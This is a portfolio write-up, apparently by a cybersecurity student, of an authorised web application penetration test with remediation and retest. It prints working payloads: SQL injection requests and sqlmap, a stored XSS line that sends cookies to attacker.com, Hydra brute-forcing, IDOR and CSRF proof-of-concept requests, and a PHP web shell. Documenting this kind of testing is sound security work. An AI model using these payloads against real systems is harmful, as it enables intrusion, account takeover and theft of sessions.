Loading
Cybersecurity undergraduate and web developer based in Sri Lanka, passionate about penetration testing, VAPT, and ethical hacking.
Full web application vulnerability assessment. Identified SQL Injection, XSS, IDOR and broken authentication. CVSS-rated report with PoC and remediation steps.
This writeup documents a real-world Web Application Vulnerability Assessment and Penetration Test (VAPT) conducted against a client web application. All identifying information has been anonymised. Testing was performed with full written authorisation using Burp Suite and manual techniques aligned with the OWASP Testing Guide. Critical vulnerabilities were identified across injection, authentication, access control, and file handling — all reported and remediated.
Testing began with passive and active reconnaissance to map the application's attack surface before any exploitation:
# Directory and file enumeration
gobuster dir -u https://target.com \
-w /usr/share/wordlists/dirb/common.txt
# Technology fingerprinting
whatweb https://target.com
# Initial vulnerability scan
nikto -h https://target.com -ssl
Key findings from enumeration:
/admin/ with no IP restriction/backup.zip accessible without authentication/uploads/All findings were logged in Burp Suite's site map for reference throughout the engagement.
A product search parameter was identified as injectable. Manual testing confirmed the vulnerability before automation was used:
# Manual detection in Burp Suite Repeater
GET /products?id=1'
# Response: MySQL error — confirms injection point
GET /products?id=1 AND 1=2--
# Response: empty — Boolean-based injection confirmed
# Extract database version
GET /products?id=1 UNION SELECT NULL,version(),NULL--
# Automated extraction with sqlmap
sqlmap -u "https://target.com/products?id=1" \
--dbs --batch --level=3
SQLi allowed extraction of the full database including
a users table containing MD5-hashed admin credentials.
The hash was cracked offline using Hashcat with rockyou.txt.
hashcat -m 0 <hash> \
/usr/share/wordlists/rockyou.txt
Reflected and stored XSS were identified in multiple input fields. The comment section stored unsanitised input that executed in every visitor's browser:
# Reflected XSS — search parameter
https://target.com/search?q=<script>alert(1)</script>
# Stored XSS — comment field payload
<script>
document.location='https://attacker.com/steal?c='
+document.cookie
</script>
# CSP bypass test
<img src=x onerror=alert(document.domain)>
Stored XSS in the comment field allowed session cookie theft from any authenticated user who viewed the affected page, including administrators.
The login form had no rate limiting or account lockout. Hydra was used to brute force credentials after username enumeration via error message differences:
# Username enumeration via error messages
# Valid user: "Incorrect password"
# Invalid user: "User not found"
# Brute force with Hydra
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
https-post-form \
"/login:user=^USER^&pass=^PASS^:F=Invalid" \
target.com
Additional authentication issues found:
The user profile endpoint used sequential integer IDs with no authorisation check — any authenticated user could view or modify another user's data:
# Authenticated as user ID 42 — access user ID 41
GET /api/users/41/profile
Authorization: Bearer <token_for_user_42>
# Response: full profile data for user 41 returned
# Including name, email, address, order history
# Modify another user's profile
POST /api/users/41/update
Authorization: Bearer <token_for_user_42>
{"email":"attacker@evil.com"}
IDOR allowed full horizontal privilege escalation across
all user accounts. No server-side ownership check was
performed on any /api/users/{id}/ endpoint.
No CSRF tokens were present on state-changing forms. A proof-of-concept page was crafted to silently change a victim's email address when visited while authenticated:
<!-- CSRF PoC — auto-submits on page load -->
<form action="https://target.com/account/update"
method="POST" id="csrf">
<input type="hidden" name="email"
value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit()</script>
The attack succeeds silently because the browser automatically includes the victim's session cookie with the forged request. No token validation was performed server-side.
The profile picture upload endpoint accepted any file type. A PHP web shell was uploaded by changing the Content-Type header in Burp Suite to bypass client-side validation:
# Upload PHP web shell via Burp Suite Repeater
# Change Content-Type to image/jpeg
# Filename: shell.php
POST /upload/avatar HTTP/1.1
Content-Type: multipart/form-data
Content-Disposition: form-data; name="file";
filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
The uploaded shell was accessible and executed commands:
# Execute commands via the uploaded shell
https://target.com/uploads/shell.php?cmd=id
# uid=33(www-data) gid=33(www-data)
Remote code execution was achieved on the web server. The finding was rated Critical and reported immediately for emergency remediation.
All findings were documented in a structured VAPT report delivered to the client. Each vulnerability included:
A retest was conducted after the client applied fixes to verify all critical and high severity findings were resolved.
Burp Suite Pro — intercepting proxy, Repeater, Intruder, and scannersqlmap — automated SQL injection detection and exploitationNikto — automated web server vulnerability scanninggobuster — directory and file enumerationHydra — credential brute forcingHashcat — offline hash crackingwhatweb — technology fingerprintingOWASP ZAP — supplementary automated scanning